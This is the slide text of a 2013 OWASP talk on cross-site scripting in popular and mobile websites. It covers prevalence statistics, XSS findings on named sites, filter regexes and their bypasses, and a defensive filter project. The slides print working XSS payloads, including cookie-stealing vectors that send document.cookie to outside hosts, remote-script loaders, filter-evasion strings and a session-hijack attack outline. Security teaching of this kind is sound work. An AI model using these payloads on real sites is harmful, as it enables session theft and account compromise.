A talk by Ashar Javed
@
OWASP Seminar (RSA Europe 2013)
28-10-2013, Amsterdam
I often dream about a world without XSS
"An XSS attack occurs when a script from an untrusted source is executed in rendering a page" [*]
http://drops.dagstuhl.de/opus/volltexte/2013/3905/pdf/dagrep_v002_i010_p001_s12401.pdf
"Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites"
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
According to White-hat Security, 53% of web applications have XSS vulnerability [*]
[*] https://www.whitehatsec.com/assets/WPstatsReport_052013.pdf
According to Google Vulnerability Reward Program's Statistics, XSS is the most reported issue [*]
[*] http://www.nilsjuenemann.de/2012/12/news-about-googles-vulnerability-reward.html
According to OWASP Top 10, 2013, XSS is at #3 [*]
According to "Open Sourced Vulnerability Database" (http://www.osvdb.org/osvdb/show_graph/1)
Mobile web-sites often starts with a letter "m" or ends in a word "mobi" or "mobile" e.g., http://m.pinterest.com/ or http://m.slashdot.org/ or http://www.jobmail.co.za/mobile/
69% less HTML code as compare to their desktop variants.
We found JavaScript on 79 sites while only 1 mobile site is using Modernizr (JavaScript library)
81 out of 100 popular mobile-sites are vulnerable to XSS!
Our research paper is available at: http://www.nds.rub.de/media/nds/veroeffentlichungen/2013/11/24/lniguide.pdf
http://www.hpenterprisesecurity.com/collateral/whitepaper/
HP2012CyberRiskReport_0213.pdf
This is one of the Top 20 sites according to latest Alexa rank!
"><img src=x onerror=prompt(1);>
becomes
<input id="query" value=" img src=x onerror=prompt(1); " name="query" title="Enter a keyword or topic" class="dText" aria-haspopup="true" type="text">
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">
becomes
<input id="query" value="'" marquee="" img="" src="x" onerror="confirm(1)" "="" plaintext\="" |\="" plaintext="" onmouseover="prompt(1)" prompt(1)="" @gmail.com="" isindex="" formaction=":alert(/XSS/)" '--="" alert(1)="" name="query" title="Enter a keyword or topic" class="dText" aria-haspopup="true" type="text">
On-demand software as a service (SaaS) learning management system.
< becomes <
> becomes >
" becomes "
e.g.,
"><img src=x onerror=confirm(1);>
convert into
"><img src=x onerror=confirm(1);>
A well known website i.e., http://www.slideshare.net
60 million monthly visitors
130 million page-views
As far as I can see, site is pretty-much secure & our favorite vector ...
"><img src=x onerror=prompt(1);>
becomes
"><img src="x">
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">
becomes
Facebook: Biggest Social Network with more than 1 billion user-base!
Bug Bounty Program: https://www.facebook.com/whitehat
So far Facebook has payed more than 1 million dollars in the form of bug bounty reward: https://www.facebook.com/notes/facebook-security/recent-reports-on-our-whitehat-program/10151538365500766
Hack In The Box, ,Kuala Lumpur: Malaysia 2013
http://conference.hitb.org/hitbsecconf2013kul/ashar-javed/
DeepSec, Vienna Austria 2013
Do you know the guy who was able to XSS every "Security & Protection" pages of PAYPAL?
JavaScript controls the location/URL to be displayed in an insecure manner.
DOM objects' references that may be controlled by the attacker should be checked.
My all-time favorite "Twitter"
Tip: Follow cool people on Twitter & you will learn a lot!
Twitter takes SECURITY seriously and on their mobile side they have started using Content Security Policy (CSP)!
Microsoft!
I wish they will start a bug bounty program for their web applications ! :)
You often see a URL like:
https://www.magentocommerce.com/products/customer
/account/login/?back_url=http://www.magentocommerce.com/boards/
member/messages/view_folder/1/
In the wild, following parameters are very common e.g.,
return-url, ReturnUrl, continue & return_url
Third-party RICH-TEXT editors, Ticketing functionality, Ask question from Support Teams, Developers' forums, Send Private Message feature & Ask a Question on a Forum etc ...
ALL PROVIDE AN OPTION TO ATTACH A FILE
Often leads to Arbitrary File Upload Vulnerability :-(
<a href="javascript:img=new Image();img.src='http://xssplayground.net23.net/xsstest.php?c=='+document.cookie;">X</a>
"><img src=x onerror=document.location='http://xssplayground.net23.net/xsstest.php?c='+document.cookie>
"><svg/onload=window.location='//goo.gl/F7Kb1?c='+document.cookie>
"><svg/onload=location='//goo.gl/F7Kb1?c='+cookie>
Here is 36 chars vector by "Mario Heiderich" with no user-interaction!
<iframe/onload=src='//x.se/'+cookie>
All "meme" images have been taken from "Google Image Search"
So now what are you expecting on the next slide :-)
I made a Google Image search with the following input:
"><img src=x onerror=alert(11111111111);>
but got the following alert box ...
This is one of the Top 20 sites according to latest Alexa rank.
For Logged-in users, site allows to create an HTML page about YOURSELF!
On Server side, site has JavaScript Detection Program in place and if page has "JavaScript", site doesn't allow to proceed.
"><img src=x onerror=prompt(1);>
<iframe/src=//goo.gl/nlX0P>
<script src='https://dl.dropbox.com/u/13018058/js.js'></script>
<a href="jAvAsCrIpT:alert(1)">X</a>
<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=	prompt(1)
<svg/contentScriptType=text/vbs><script>Execute(MsgBox(chr(88)&chr(83)&chr(83)))
<svg><script>alert( 1)
<embed/src=//goo.gl/nlX0P>
<object/data=//goo.gl/nlX0P>
No Time :-(
Log-in/Registration Forms
+
Forgot your password
In case, if attacker is unable to found an XSS in password reset feature then with 90% PROBABILTY the following thing is allowed & admin will have a good scary time :-)
Send password reset email to
admin@sitename.com
I am not going to show you 81 alert/confirm/prompt boxes ...
CRICBUZZ, Alexa Rank 2675 (http://m.cricbuzz.com/info/contact)
STEPS ATTACKER WILL FOLLOW
Prepare the form with XSS PAYLOAD
Construct a web page with form + PAYLOAD
Trick victim to visit attacker's web page
Attacker has the session cookie of the victim
@RSnake Interview With A Blackhat (Part 1 & Part 2)
https://blog.whitehatsec.com/interview-with-a-blackhat-part-1/#.Uirp6sazfzF
"><iframe src='http://www.bbc.co.uk/news/' frameborder='0' width='1' height='1'>
Target is
xssplayground.net23.net/victim2.html
153,958 defacements have been archived here: https://www.zone-h.org/archive/special=1
/<script[^>]*>.*?<\/script>/
XSS Attack Vector: <script src="https://dl.dropbox.com/u/13018058/js.js"></script>
XSS attack vector: <script>confirm(document.cookie)<\/script>
has been changed into
/<script[^>]*>[\s\S]*?/
. (dot) becomes [\s\S]
Closing "script" tag gone
/([\s"']+on\w+)\s*=/
/([\s"']+on\w+)\s*=/
XSS attack vector: <body onload="alert(1)">
/([\s"']+on\w+)\s*=/
XSS attack vector: <img src="x"onerror =alert(1)>
/([\s"']+on\w+)\s*=/
XSS attack vector: <img/src=x /alt='Img Not Found'onerror=confirm(1)>
/[\s"\'`;\/0-9\=\x0B\x09\x0C\x3B\x2C\x28]+on\w+[\s\x0B\x09\x0C\x3B\x2C\x28]*=/
https://twitter.com/kinugawamasato
/(=|(U\s*R\s*L\s*\())\s*("|\')?[^>]*\s*S\s*C\s*R\s*I\s*P\s*T\s*:/
/(=|(U\s*R\s*L\s*\())\s*("|\')?[^>]*\s*S\s*C\s*R\s*I\s*P\s*T\s*:/
XSS attack vector:
<p style="background:url(javascript:alert(1))">
/(=|(U\s*R\s*L\s*\())\s*("|\')?[^>]*\s*S\s*C\s*R\s*I\s*P\s*T\s*:/
XSS attack vector: <iframe src="jaVAscRipT:alert(1)">
/(?:=|U\s*R\s*L\s*\()\s*[^>]*\s*S\s*C\s*R\s*I\s*P\s*T\s*:/
/:/
/<embed[^>]*>[\s\S]*?/
/<object[^>]*>[\s\S]*?/
/<isindex[^>]*>[\s\S]*?/
/<form[^>]*>[\s\S]*?/
/<meta[^>]*>[\s\S]*?/
/<style[^>]*>[\s\S]*?/
e.g., in IE7
<style>#test{x:expression(alert(/XSS/))}</style>
<body><div id="test">X</div></body>
/<applet[^>]*>[\s\S]*?/
/[\s\S]data:text\/html[\s\S]/
/[\s\S]xlink:href[\s\S]/
/[\s\S]base64[\s\S]/
/[\s\S]style[\s\S]/
/[\s\S]formaction[\s\S]/
/[\s\S]src[\s\S]/
/[\s\S]href[\s\S]/
/[\s\S]xmlns[\s\S]/
/[\s\S]xhtml[\s\S]/
/[\s\S]@import[\s\S]/
/[\s\S]!ENTITY.*?SYSTEM[\s\S]/
/[\s\S]pattern(?=.*?=)[\s\S]/
by
https://twitter.com/0x6D6172696F
for example vectors of each category!
ONLY 3 TYPES of Bypasses
The main reasons are:
https://twitter.com/soaj1664ashar/status/324153228713422849
In IE9, vertical tab i.e., \u0B can be used an alternative to SPACE separator/character.
e.g., (http://jsfiddle.net/wzG2M/2/)
Credits: Alex (https://twitter.com/insertScript)
Where is FEMALE symbolic representation? e.g.,
We have added support of XSS filter in WordPress & Drupal
Cross-site Scripting (XSS) Evasion Challenge
XSS is unavoidable at least nowadays!
Now its your job to raise the bar for attacker.
At least test your site against OWASP XSS filter evasion cheat sheet + http://pastebin.com/u6FY1xDA
I think and believe that XSS SOLUTION SHOULD BE IN THE FORM OF LAYERS & Content Security Policy (CSP) should be one layer!